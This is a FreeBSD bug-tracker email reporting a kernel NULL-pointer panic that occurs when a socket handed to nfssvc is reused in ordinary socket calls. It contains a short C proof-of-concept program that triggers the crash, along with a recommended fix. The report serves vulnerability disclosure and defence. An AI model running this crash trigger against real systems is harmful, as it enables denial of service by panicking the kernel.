Date: Wed, 01 Mar 2017 20:52:41 +0000 From: bugzilla-noreply@freebsd.org To: freebsd-bugs@FreeBSD.org Subject: [Bug 217463] socket calls can cause panic after passing socket to nfssvc Message-ID: <bug-217463-8@https.bugs.freebsd.org/bugzilla/>
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https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D217463 Bug ID: 217463 Summary: socket calls can cause panic after passing socket to nfssvc Product: Base System Version: 10.3-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Some People Priority: --- Component: kern Assignee: freebsd-bugs@FreeBSD.org Reporter: tim.newsham@nccgroup.trust /* * concrash.c * Cause a panic using nfssvc system call after it receives a socket Description: When you pass a socket to the NFS subsystem in the kernel, it uses nfscbd_addsock() to claim the socket. This results in the fp->f_data being set to zero. If this socket is later used in "normal" socket system calls that access f_data, a NULL pointer dereference will result in a kernel panic. This is triggerable through many system calls such as getsockopt, setsockopt, connect, listen, bind, send, recv and nfssvc itself. This is of low risk since it requires access to privileged operations in the nfssvc system call. Recommendation: Consider updating getsock_cap to return an error if f_type is DTYPE_SOCKET but f_data is NULL. This indicates that the socket has been stolen by the kernel. Update all socket operations that access f_data to first check if f_data is NULL and return an error in this case. */ #include <stdlib.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/param.h> #include <sys/mount.h> #include <sys/time.h> #include <netinet/in.h> #include <fs/nfs/nfskpiport.h> #include <fs/nfs/nfsproto.h> #include <fs/nfs/nfs.h> #include <nfs/nfssvc.h> #include <unistd.h> int main(int argc, char **argv) { struct nfscbd_args args; char buf[8] =3D {0}; int fd, x; fd =3D socket(AF_INET6, SOCK_STREAM, 0); if(fd =3D=3D -1) exit(1); printf("fd %d\n", fd); // give it over to the kernel args.sock =3D fd; x =3D nfssvc(NFSSVC_CBADDSOCK, &args); printf("nfssvc %d\n", x); x =3D connect(fd, (struct sockaddr *)buf, 5); printf("res %d\n", x); return 0; } --=20 You are receiving this mail because: You are the assignee for the bug.=
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